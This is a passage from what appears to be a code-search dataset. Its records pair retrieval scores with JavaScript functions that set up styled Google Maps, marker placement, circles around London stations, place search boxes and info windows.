[{\"featureType\":\"water\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#e9e9e9\"},{\"lightness\":17}]},{\"featureType\":\"landscape\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#dcdcdc\"},{\"lightness\":20}]},{\"featureType\":\"road.highway\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#ffffff\"},{\"lightness\":17}]},{\"featureType\":\"road.highway\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"color\":\"#ffffff\"},{\"lightness\":29},{\"weight\":0.2}]},{\"featureType\":\"road.arterial\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#ffffff\"},{\"lightness\":18}]},{\"featureType\":\"road.local\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#ffffff\"},{\"lightness\":16}]},{\"featureType\":\"poi\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#dcdcdc\"},{\"lightness\":21}]},{\"featureType\":\"poi.park\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#dedede\"},{\"lightness\":21}]},{\"elementType\":\"labels.text.stroke\",\"stylers\":[{\"visibility\":\"on\"},{\"color\":\"#ffffff\"},{\"lightness\":16}]},{\"elementType\":\"labels.text.fill\",\"stylers\":[{\"saturation\":36},{\"color\":\"#333333\"},{\"lightness\":40}]},{\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"transit\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#f2f2f2\"},{\"lightness\":19}]},{\"featureType\":\"administrative\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#fefefe\"},{\"lightness\":20}]},{\"featureType\":\"administrative\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"color\":\"#fefefe\"},{\"lightness\":17},{\"weight\":1.2}]}];\n var styledMap = new google.maps.StyledMapType( styles, { name: \"Styled Map\" } );\n map.mapTypes.set('map_style', styledMap);\n map.setMapTypeId('map_style');\n\n return map;\n\n}// createEmptyMap", "title": "" }, { "docid": "0d7f655080f2a65ad47c8af4d7266ce9", "score": "0.6243115", "text": "function initialize() {\n\n var map_div = document.getElementById('map');\n\n var map_options = {\n //center is a Google Maps LatLng object that tells the API where to center the map\n //Latitude and Longitude can be obtained either: from the URL in Google maps or \n //right click the location on Google maps and select 'What's here' which will bring up the LatLng in the description\n center: new google.maps.LatLng(51.508809, -0.105663),\n //zoom is a number between 0 (farthest) and 22 that sets the zoom level of the map.\n zoom: 14,\n //mapTypeId is used to specify what type of map to use. Your choices are ROADMAP, SATELLITE, HYBRID, or TERRAIN.\n mapTypeId: google.maps.MapTypeId.ROADMAP,\n disableDefaultUI: true,\n scrollwheel: false,\n //navigationControl: false,\n //mapTypeControl: false,\n //scaleControl: false,\n zoomControl: true,\n panControl: true,\n draggable: true,\n disableDoubleClickZoom: true\n }\n //https://developers.google.com/maps/documentation/javascript/styling\n //Map features and stylers are combined into a style array, which is passed to the default map's MapOptions object, or to the StyledMapType constructor\n //Styled Maps accept an array of map stylers which define the colors, visibility, and weight of featureTypes on the map.\n //Stylers are color and visibility properties that can be applied to map features. \n //They define the display color through a combination of hue, color, and lightness/gamma values.\n var styles = [{\n stylers: [ // Greyscale\n {hue: \"#ffffff\" },\n { saturation: -100 }\n ]\n }, {\n featureType: \"road\",\n elementType: \"geometry\",\n stylers: [\n { lightness: 100 },\n { visibility: \"simplified\" }\n ]\n }, {\n featureType: \"road\",\n elementType: \"labels\",\n stylers: [\n { visibility: \"on\" }\n ]\n }];\n\n //create a new google maps object\n //the map object constructor takes two arguments:\n //- reference to the div map will be loaded into and options for the map\n var mapObj = new google.maps.Map(map_div, map_options);\n\n mapObj.set('styles', styles);\n\n //**** Markers ****\n\n //assumption of how Google Maps might deal with passing map to Marker - odd would expect instance of marker to be added to map\n //var google.maps.Marker = function (options) {\n // options.map.addMarker(this); \n //};\n\n\n //**** Circles ****\n\n // First, create an object containing LatLng and population for each city.\n var stationmap = {};\n\n stationmap['charingcross'] = {\n //circle and marker\n position: new google.maps.LatLng(51.508168, -0.124846),\n //marker\n icon: 'img/map-charingcross.png',\n title: 'London Charing Cross'\n };\n stationmap['waterlooeast'] = {\n position: new google.maps.LatLng(51.504076, -0.108873),\n icon: 'img/map-waterlooeast.png',\n title: 'Waterloo East'\n };\n stationmap['cannonstreet'] = {\n position: new google.maps.LatLng(51.511382, -0.090267),\n icon: 'img/map-cannonstreet.png',\n title: 'Cannon Street'\n };\n stationmap['londonbridge'] = {\n position: new google.maps.LatLng(51.505109, -0.086062),\n icon: 'img/map-londonbridge.png',\n title: 'London Bridge'\n };\n\n //loop through the array of London locations to assign common properties to locations\n for (var loc in stationmap) {\n // create a marker with position, title and icon\n //var markerOptions = $.extend({ map: mapObj }, stationmap[loc]); -> could use however then creates dependency on jQuery library\n \n var markerOptions = {\n map: mapObj,\n position: stationmap[loc].position,\n icon: stationmap[loc].icon,\n title: stationmap[loc].title\n };\n\n // create a circle with position\n var circleOptions = {\n strokeColor: \"#BE6D45\",\n strokeOpacity: 0.4,\n strokeWeight: 0,\n fillColor: \"#BE6D45\",\n fillOpacity: 0.4,\n map: mapObj, //here map object is assigned to property of circleOptions and then used to create instance of Map Circle\n center: stationmap[loc].position,\n radius: 1000 // radius in metres\n };\n //Add a marker\n //create a new marker instance which is added to the map passed in via the marker options/map property\n\n new google.maps.Marker(markerOptions);\n //Add the circle for this london station\n new google.maps.Circle(circleOptions);\n\n } //end loop through stations\n\n } //end function initialize", "title": "" }, { "docid": "1cffa3c11c0dd553501bd515d2ecda01", "score": "0.6209095", "text": "function initMap() {\n\n// flat marker image\n image = {\n url: 'https://dl.dropboxusercontent.com/u/814783/fiddle/marker.png',\n scaledSize: new google.maps.Size(20, 40),\n origin: new google.maps.Point(0, 0),\n anchor: new google.maps.Point(10, 45)\n };\n// flat marker shadow image\n shadow = {\n url: 'https://dl.dropboxusercontent.com/u/814783/fiddle/shadow.png',\n origin: new google.maps.Point(0, 0),\n anchor: new google.maps.Point(-2, 36)\n };\n// flat ui style\n var style = [\n /*{\n \"stylers\": [{\n \"visibility\": \"off\"\n }]\n },*/ {\n \"featureType\": \"road\", // streets are white\n \"stylers\": [{\n \"visibility\": \"on\"\n }, {\n \"color\": \"#ffffff\"\n }]\n }, {\n \"featureType\": \"road.arterial\", // main streets are yellow\n \"stylers\": [{\n \"visibility\": \"on\"\n }, {\n \"color\": \"#fee379\"\n }]\n }, {\n \"featureType\": \"road.highway\", // highways are yellow\n \"stylers\": [{\n \"visibility\": \"on\"\n }, {\n \"color\": \"#fee379\"\n }]\n }, {\n \"featureType\": \"landscape\", // landscape is grey\n \"stylers\": [{\n \"visibility\": \"on\"\n }, {\n \"color\": \"#f3f4f4\"\n }]\n }, {\n \"featureType\": \"water\", // water is blue\n \"stylers\": [{\n \"visibility\": \"on\"\n }, {\n \"color\": \"#7fc8ed\"\n }]\n }, {\n \"featureType\": \"road\", // road labels are grey\n \"elementType\": \"labels.text\",\n \"stylers\": [{\n \"visibility\": \"on\"\n }, {\n \"weight\": 1\n }, {\n \"color\": \"#7A7A7A\"\n }]\n }, {\n \"featureType\": \"road.arterial\", // road labels are light grey\n \"elementType\": \"labels.text\",\n \"stylers\": [{\n \"visibility\": \"on\"\n }, {\n \"color\": \"#545454\"\n }]\n }, {\n \"featureType\": \"road.highway\", // road labels are light grey\n \"elementType\": \"labels.text\",\n \"stylers\": [{\n \"visibility\": \"on\"\n }, {\n \"color\": \"#545454\"\n }]\n }, {\n \"featureType\": \"poi.park\", // parks are light green\n \"elementType\": \"geometry.fill\",\n \"stylers\": [{\n \"visibility\": \"on\"\n }, {\n \"color\": \"#83cead\"\n }]\n }, {\n \"featureType\": \"water\",\n \"elementType\": \"labels.text\", // water labels are white\n \"stylers\": [{\n \"visibility\": \"on\"\n }, {\n \"color\": \"#eeeeee\"\n }, {\n \"weight\": 1\n }]\n }, /*{\n \"featureType\": \"transit\",\n \"elementType\": \"labels.text\", // transit labels are grey\n \"stylers\": [{\n \"visibility\": \"on\"\n }, {\n \"color\": \"#B8B8B8\"\n }, {\n \"weight\": 1\n }]\n },*/ /*{\n \"featureType\": \"poi\",\n \"elementType\": \"labels.text\", // poi labels are grey\n \"stylers\": [{\n \"visibility\": \"on\"\n }, {\n \"color\": \"#B8B8B8\"\n }, {\n \"weight\": 1\n }]\n },*/ /*{\n \"featureType\": \"landscape\",\n \"elementType\": \"labels.text\", // landscape labels are grey\n \"stylers\": [{\n \"visibility\": \"on\"\n }, {\n \"color\": \"#B8B8B8\"\n }, {\n \"weight\": 1\n }]\n },*/ /*{\n \"featureType\": \"administrative\",\n \"elementType\": \"labels.text\", // administrative labels are grey\n \"stylers\": [{\n \"visibility\": \"on\"\n }, {\n \"color\": \"#333333\"\n }, {\n \"weight\": 1\n }]\n },*/ {\n \"featureType\": \"landscape.man_made\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\n \"weight\": 0.9\n }, {\n \"visibility\": \"off\"\n }]\n }];\n\n var currentLat = '52.3877833';\n var currentLng = '13.0831297';\n var latlng = new google.maps.LatLng(currentLat, currentLng);\n\n var myOptions = {\n zoom: 15, // set zoom factor\n center: latlng, // center map at set coordinates\n mapTypeId: 'roadmap', // set map type\n mapTypeControl: true, // activate map control elements\n mapTypeControlOptions: {\n style: google.maps.MapTypeControlStyle.HORIZONTAL_BAR, // set drop down menu for control element\n position: google.maps.ControlPosition.LEFT_BOTTOM // set position of control element\n }\n };\n\n // create new map object\n map = new google.maps.Map($('#maps')[0], myOptions);\n map.setOptions({\n styles: style,\n linksControl: false,\n panControl: false,\n mapTypeControl: true,\n streetViewControl: false\n });\n\n // create marker\n marker = new google.maps.Marker({\n position: latlng,\n map: map,\n icon: image,\n shadow: shadow\n });\n // marker not set on map per default\n marker.setMap(null);\n\n\n /* add search box */\n\n // Create the search box and link it to the UI element.\n var inputElement = $(\"#pac-input\")[0];\n // add input to map\n map.controls[google.maps.ControlPosition.TOP_LEFT].push(inputElement);\n searchBox = new google.maps.places.SearchBox(inputElement);\n //var autocomplete = new google.maps.places.Autocomplete(inputElement);\n\n\n /* add event handlers */\n\n // set new marker if user clicked into the map\n google.maps.event.addListener(map, \"click\", function(e) {\n\n // get coordinate input DOM elements\n var lngInputDiv = $(\"#divMaps\").prev();\n var latInputDiv = $(lngInputDiv).prev();\n\n replaceMarker(e.latLng);\n $(latInputDiv).children(\"input\")[0].value = e.latLng.lat();\n $(lngInputDiv).children(\"input\")[0].value = e.latLng.lng();\n });\n\n\n // [START region_getplaces]\n // Listen for the event fired when the user selects an item from the\n // pick list. Retrieve the matching places for that item.\n markers = [];\n google.maps.event.addListener(searchBox, 'places_changed', function() {\n var places = searchBox.getPlaces();\n if (places.length == 0)\n return;\n // get markers for found places and place them on map\n getPlacesOnMap(places);\n });\n // [END region_getplaces]\n\n\n // Bias the SearchBox results towards places that are within the bounds of the\n // current map's viewport.\n google.maps.event.addListener(map, 'bounds_changed', function() {\n var bounds = map.getBounds();\n searchBox.setBounds(bounds);\n });\n /* end search box */\n}", "title": "" }, { "docid": "72b817b2c59966a04c4412027d4426c2", "score": "0.61808085", "text": "function retro() {\n\n map.setOptions({styles: styles[\"retro\"]});\n}", "title": "" }, { "docid": "8ea28e70449bda6c1cefc285498b4a30", "score": "0.6179471", "text": "function initMap() {\n map_style = [\n {\n \"featureType\":\"administrative\",\n \"elementType\":\"labels.text.fill\",\n \"stylers\":[\n {\"color\":\"#f5e050\"}]\n },{\n \"featureType\":\"administrative\",\n \"elementType\":\"labels.text.stroke\",\n \"stylers\":[\n {\"color\":\"#444444\"}]\n },{\n \"featureType\":\"landscape\",\n \"elementType\":\"all\",\n \"stylers\":[\n {\"hue\":\"#f5e050\"}]\n },{\n \"featureType\":\"poi\",\n \"elementType\":\"all\",\n \"stylers\":[\n {\"visibility\":\"off\"}]\n },{\n \"featureType\":\"road\",\n \"elementType\":\"all\",\n \"stylers\":[\n {\"saturation\":-100},\n {\"lightness\":45}]\n },{\n \"featureType\":\"road.highway\",\n \"elementType\":\"all\",\n \"stylers\":[\n {\"visibility\":\"simplified\"}]\n },{\n \"featureType\":\"road.arterial\",\n \"elementType\":\"labels.icon\",\n \"stylers\":[\n {\"visibility\":\"off\"}]\n },{\n \"featureType\":\"transit\",\n \"elementType\":\"all\",\n \"stylers\":[\n {\"visibility\":\"off\"}]\n },{\n \"featureType\":\"water\",\n \"elementType\":\"geometry\",\n \"stylers\":[\n {\"color\":\"#46bcec\"},\n {\"visibility\":\"on\"}]\n }]\n // TODO: use a constructor to create a new map JS object. You can use the coordinates\n // we used, 40.7413549, -73.99802439999996 or your own!\n map=new google.maps.Map(document.getElementById('map'), {\n center: {lat:40.5169248, lng:21.2544022},\n zoom:13,\n styles: map_style\n });\n var piatses = { lat:40.521769, lng:21.261714 };\n var marker_image = 'https://developers.google.com/maps/documentation/javascript/examples/full/images/beachflag.png';\n var marker = new google.maps.Marker({\n position: piatses,\n map:map,\n title:'1η/2η πιάτσα',\n //label: 'A',\n icon: marker_image,\n animation: google.maps.Animation.DROP //BOUNCE\n });\n var infownd = new google.maps.InfoWindow({\n content: marker.title\n });\n marker.addListener('click', function(){\n infownd.open(map,marker);\n });\n}", "title": "" }, { "docid": "c9e1d988a685fe1489859fc9438b00e1", "score": "0.6163275", "text": "function myMap() {\r\n\t\t\t\tinitialize() ;\r\n\t\t\t\tvar myCenter = new google.maps.LatLng(48.857433,2.345564);\r\n\t\t\t\tvar mapProp = {\r\n\t\t\t\t\tcenter:myCenter,\r\n\t\t\t\t\tzoom: 12,\r\n\t\t\t\t\tstreetViewControl: false,\r\n\t\t\t\t\tdraggable : true,\r\n\t\t\t\t\tmapTypeControl: false,\t\r\n\t\t\t\t\tmapTypeId: google.maps.MapTypeId.ROADMAP,\r\n\t\t\t\t\t\tstyles: [\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tfeatureType: \"all\",\r\n\t\t\t\t\t\t\t\telementType: \"labels\",\r\n\t\t\t\t\t\t\t\tstylers: [\r\n\t\t\t\t\t\t\t\t\t{visibility: \"off\"}\r\n\t\t\t\t\t\t\t\t]\r\n\t\t\t\t\t\t\t},{\r\n\t\t\t\t\t\t\t\tfeatureType: \"all\",\r\n\t\t\t\t\t\t\t\telementType: \"geometry\",\r\n\t\t\t\t\t\t\t\tstylers: [\r\n\t\t\t\t\t\t\t\t\t{ lightness: -30},\r\n\t\t\t\t\t\t\t\t\t{ saturation: -50 }\r\n\t\t\t\t\t\t\t\t]\r\n\t\t\t\t\t\t\t},{\r\n\t\t\t\t\t\t\t\tfeatureType: \"road\",\r\n\t\t\t\t\t\t\t\telementType: \"geometry\",\r\n\t\t\t\t\t\t\t\tstylers: [\r\n\t\t\t\t\t\t\t\t\t{ hue: \"#66b5ff\" },\r\n\t\t\t\t\t\t\t\t\t{ visibility: \"simplified\" }, \r\n\t\t\t\t\t\t\t\t\t{ lightness: 100 }, \r\n\t\t\t\t\t\t\t\t\t{ saturation: -100 }\r\n\t\t\t\t\t\t\t\t]\r\n\t\t\t\t\t\t\t},{\r\n\t\t\t\t\t\t\t\tfeatureType: \"administrative\",\r\n\t\t\t\t\t\t\t\telementType: \"labels\",\r\n\t\t\t\t\t\t\t\tstylers: [\r\n\t\t\t\t\t\t\t\t\t{ visibility: \"off\" }\r\n\t\t\t\t\t\t\t\t]\r\n\t\t\t\t\t\t\t},{\r\n\t\t\t\t\t\t\t\tfeatureType: \"administrative.locality\",\r\n\t\t\t\t\t\t\t\telementType: \"geometry\",\r\n\t\t\t\t\t\t\t\tstylers: [\r\n\t\t\t\t\t\t\t\t\t{ visibility: \"on\" }\r\n\t\t\t\t\t\t\t\t]\r\n\t\t\t\t\t\t\t},{\r\n\t\t\t\t\t\t\t\tfeatureType: \"road.arterial\",\r\n\t\t\t\t\t\t\t\telementType: \"labels\",\r\n\t\t\t\t\t\t\t\tstylers: [\r\n\t\t\t\t\t\t\t\t\t{ visibility: \"on\" }\r\n\t\t\t\t\t\t\t\t]\r\n\t\t\t\t\t\t\t},{\r\n\t\t\t\t\t\t\t\tfeatureType: \"road.local\",\r\n\t\t\t\t\t\t\t\telementType: \"labels\",\r\n\t\t\t\t\t\t\t\tstylers: [\r\n\t\t\t\t\t\t\t\t\t{ visibility: \"on\" }\r\n\t\t\t\t\t\t\t\t]\r\n\t\t\t\t\t\t\t},{\r\n\t\t\t\t\t\t\t\tfeatureType: \"road.arterial\",\r\n\t\t\t\t\t\t\t\telementType: \"labels.icon\",\r\n\t\t\t\t\t\t\t\tstylers: [\r\n\t\t\t\t\t\t\t\t\t{ visibility: \"off\" }\r\n\t\t\t\t\t\t\t\t]\r\n\t\t\t\t\t\t\t},{\r\n\t\t\t\t\t\t\t\tfeatureType: \"landscape\",\r\n\t\t\t\t\t\t\t\telementType: \"geometry\",\r\n\t\t\t\t\t\t\t\tstylers: [\r\n\t\t\t\t\t\t\t\t\t{ color: \"#c6c6c6\" },\r\n\t\t\t\t\t\t\t\t\t{ visibility: \"on\" } \r\n\t\t\t\t\t\t\t\t]\r\n\t\t\t\t\t\t\t},{\r\n\t\t\t\t\t\t\t\tfeatureType: \"poi\",\r\n\t\t\t\t\t\t\t\telementType: \"geometry\",\r\n\t\t\t\t\t\t\t\tstylers: [\r\n\t\t\t\t\t\t\t\t\t{visibility: \"off\"}\r\n\t\t\t\t\t\t\t\t]\r\n\t\t\t\t\t\t\t},{\r\n\t\t\t\t\t\t\t\tfeatureType: \"water\",\r\n\t\t\t\t\t\t\t\telementType: \"geometry\",\r\n\t\t\t\t\t\t\t\tstylers: [\r\n\t\t\t\t\t\t\t\t\t{ color: \"#111111\"}\r\n\t\t\t\t\t\t\t\t]\r\n\t\t\t\t\t\t\t},{\r\n\t\t\t\t\t\t\t\tfeatureType: \"transit.line\",\r\n\t\t\t\t\t\t\t\telementType: \"geometry\",\r\n\t\t\t\t\t\t\t\tstylers: [\r\n\t\t\t\t\t\t\t\t\t{ visibility: \"simplified\"}\r\n\t\t\t\t\t\t\t\t]\r\n\t\t\t\t\t\t\t},{\r\n\t\t\t\t\t\t\t\tfeatureType: \"transit.station.rail\",\r\n\t\t\t\t\t\t\t\telementType: \"all\",\r\n\t\t\t\t\t\t\t\tstylers: [\r\n\t\t\t\t\t\t\t\t\t{ visibility: \"simplified\"}\r\n\t\t\t\t\t\t\t\t]\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t]\r\n\t\t\t\t};\r\n\t\t\t\t\r\n\t\t\t\tmap = new google.maps.Map(document.getElementById(\"googleMap\"),mapProp);\r\n\t\t\t\tvar sw = new google.maps.LatLng(48.765546, 2.227725);\r\n\t\t\t\tvar ne = new google.maps.LatLng(48.909070, 2.393346);\r\n\t\t\t\tvar bounds = new google.maps.LatLngBounds(sw,ne);\r\n\t\t\t\tmap.fitBounds(bounds);\r\n\t\t\t\tsetMarkers(map);\r\n\t\t\t\treturn map;\r\n\t\t\t}", "title": "" }, { "docid": "4200b1f14d07368b272ae78e74542fa3", "score": "0.61624175", "text": "function initMap() {\n var area = new google.maps.LatLng(lat , lng );\n\n map = new google.maps.Map(document.getElementById('map'), {\n center: area,\n zoom: 13,\n\n styles: [\n { elementType: \"geometry\", stylers: [{ color: \"#242f3e\" }] },\n { elementType: \"labels.text.stroke\", stylers: [{ color: \"#242f3e\" }] },\n { elementType: \"labels.text.fill\", stylers: [{ color: \"#746855\" }] },\n {\n featureType: \"administrative.locality\",\n elementType: \"labels.text.fill\",\n stylers: [{ color: \"#d59563\" }],\n },\n {\n featureType: \"poi\",\n elementType: \"labels.text.fill\",\n stylers: [{ color: \"#d59563\" }],\n },\n {\n featureType: \"poi.park\",\n elementType: \"geometry\",\n stylers: [{ color: \"#263c3f\" }],\n },\n {\n featureType: \"poi.park\",\n elementType: \"labels.text.fill\",\n stylers: [{ color: \"#6b9a76\" }],\n },\n {\n featureType: \"road\",\n elementType: \"geometry\",\n stylers: [{ color: \"#38414e\" }],\n },\n {\n featureType: \"road\",\n elementType: \"geometry.stroke\",\n stylers: [{ color: \"#212a37\" }],\n },\n {\n featureType: \"road\",\n elementType: \"labels.text.fill\",\n stylers: [{ color: \"#9ca5b3\" }],\n },\n {\n featureType: \"road.highway\",\n elementType: \"geometry\",\n stylers: [{ color: \"#746855\" }],\n },\n {\n featureType: \"road.highway\",\n elementType: \"geometry.stroke\",\n stylers: [{ color: \"#1f2835\" }],\n },\n {\n featureType: \"road.highway\",\n elementType: \"labels.text.fill\",\n stylers: [{ color: \"#f3d19c\" }],\n },\n {\n featureType: \"transit\",\n elementType: \"geometry\",\n stylers: [{ color: \"#2f3948\" }],\n },\n {\n featureType: \"transit.station\",\n elementType: \"labels.text.fill\",\n stylers: [{ color: \"#d59563\" }],\n },\n {\n featureType: \"water\",\n elementType: \"geometry\",\n stylers: [{ color: \"#17263c\" }],\n },\n {\n featureType: \"water\",\n elementType: \"labels.text.fill\",\n stylers: [{ color: \"#515c6d\" }],\n },\n {\n featureType: \"water\",\n elementType: \"labels.text.stroke\",\n stylers: [{ color: \"#17263c\" }],\n },\n ],\n\n\n });\n\n var request = {\n location: area,\n radius: '10000',\n \n type: 'gym',\n openNow:true\n };\nservice = new google.maps.places.PlacesService(map);\nservice.nearbySearch(request, callback);\n }", "title": "" }, { "docid": "446be085b363e54d75d7d97afee9bf66", "score": "0.61619806", "text": "function ContactMap() {\t\n\t\n\t\tif( jQuery('#map_canvas').length > 0 ){\t\t\t\t\t\n\t\t\tvar latlng = new google.maps.LatLng(43.270441,6.640888);\n\t\t\tvar settings = {\n\t\t\t\tzoom: 14,\n\t\t\t\tcenter: new google.maps.LatLng(43.270441,6.640888),\n\t\t\t\tmapTypeControl: false,\n\t\t\t\tscrollwheel: false,\n\t\t\t\tdraggable: true,\n\t\t\t\tpanControl:false,\n\t\t\t\tscaleControl: false,\n\t\t\t\tzoomControl: false,\n\t\t\t\tstreetViewControl:false,\n\t\t\t\tnavigationControl: false};\t\t\t\n\t\t\t\tvar newstyle = [\n\t\t\t\t{\n\t\t\t\t\t\"featureType\": \"all\",\n\t\t\t\t\t\"elementType\": \"labels.text.fill\",\n\t\t\t\t\t\"stylers\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"saturation\": 36\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"color\": \"#000000\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"lightness\": 40\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"featureType\": \"all\",\n\t\t\t\t\t\"elementType\": \"labels.text.stroke\",\n\t\t\t\t\t\"stylers\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"visibility\": \"on\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"color\": \"#000000\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"lightness\": 16\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"featureType\": \"all\",\n\t\t\t\t\t\"elementType\": \"labels.icon\",\n\t\t\t\t\t\"stylers\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"visibility\": \"off\"\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"featureType\": \"administrative\",\n\t\t\t\t\t\"elementType\": \"geometry.fill\",\n\t\t\t\t\t\"stylers\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"color\": \"#000000\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"lightness\": 20\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"featureType\": \"administrative\",\n\t\t\t\t\t\"elementType\": \"geometry.stroke\",\n\t\t\t\t\t\"stylers\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"color\": \"#000000\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"lightness\": 17\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"weight\": 1.2\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"featureType\": \"landscape\",\n\t\t\t\t\t\"elementType\": \"geometry\",\n\t\t\t\t\t\"stylers\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"color\": \"#000000\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"lightness\": 20\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"featureType\": \"poi\",\n\t\t\t\t\t\"elementType\": \"geometry\",\n\t\t\t\t\t\"stylers\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"color\": \"#000000\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"lightness\": 21\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"featureType\": \"road.highway\",\n\t\t\t\t\t\"elementType\": \"geometry.fill\",\n\t\t\t\t\t\"stylers\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"color\": \"#000000\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"lightness\": 17\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"featureType\": \"road.highway\",\n\t\t\t\t\t\"elementType\": \"geometry.stroke\",\n\t\t\t\t\t\"stylers\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"color\": \"#000000\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"lightness\": 29\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"weight\": 0.2\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"featureType\": \"road.arterial\",\n\t\t\t\t\t\"elementType\": \"geometry\",\n\t\t\t\t\t\"stylers\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"color\": \"#000000\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"lightness\": 18\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"featureType\": \"road.local\",\n\t\t\t\t\t\"elementType\": \"geometry\",\n\t\t\t\t\t\"stylers\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"color\": \"#000000\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"lightness\": 16\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"featureType\": \"transit\",\n\t\t\t\t\t\"elementType\": \"geometry\",\n\t\t\t\t\t\"stylers\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"color\": \"#000000\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"lightness\": 19\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"featureType\": \"water\",\n\t\t\t\t\t\"elementType\": \"geometry\",\n\t\t\t\t\t\"stylers\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"color\": \"#000000\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"lightness\": 17\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t}\n\t\t\t];\n\t\t\tvar mapOptions = {\n\t\t\t\tstyles: newstyle,\n\t\t\t\tmapTypeControlOptions: {\n\t\t\t\t\t mapTypeIds: [google.maps.MapTypeId.ROADMAP, 'holver']\n\t\t\t\t}\n\t\t\t};\n\t\t\tvar map = new google.maps.Map(document.getElementById(\"map_canvas\"), settings);\t\n\t\t\tvar mapType = new google.maps.StyledMapType(newstyle, { name:\"Grayscale\" }); \n\t\t\t\tmap.mapTypes.set('holver', mapType);\n\t\t\t\tmap.setMapTypeId('holver');\n\t\t\t\t\t\t\n\t\t\t\n\t\t\tgoogle.maps.event.addDomListener(window, \"resize\", function() {\n\t\t\t\tvar center = map.getCenter();\n\t\t\t\tgoogle.maps.event.trigger(map, \"resize\");\n\t\t\t\tmap.setCenter(center);\n\t\t\t});\t\n\t\t\tvar contentString = '<div id=\"content-map-marker\" style=\"text-align:center; padding-top:10px; padding-left:10px\">'+\n\t\t\t\t'<div id=\"siteNotice\">'+\n\t\t\t\t'</div>'+\n\t\t\t\t'<h4 id=\"firstHeading\" class=\"firstHeading\" style=\"color:#000!important; font-weight:600; margin-bottom:0px;\">Hello Friend!</h4>'+\n\t\t\t\t'<div id=\"bodyContent\">'+\n\t\t\t\t'<p color:#999; font-size:14px; margin-bottom:10px\">Here we are. Come to drink a coffee!</p>'+\n\t\t\t\t'</div>'+\n\t\t\t\t'</div>';\n\t\t\tvar infowindow = new google.maps.InfoWindow({\n\t\t\t\tcontent: contentString\n\t\t\t});\t\n\t\t\tvar companyImage = new 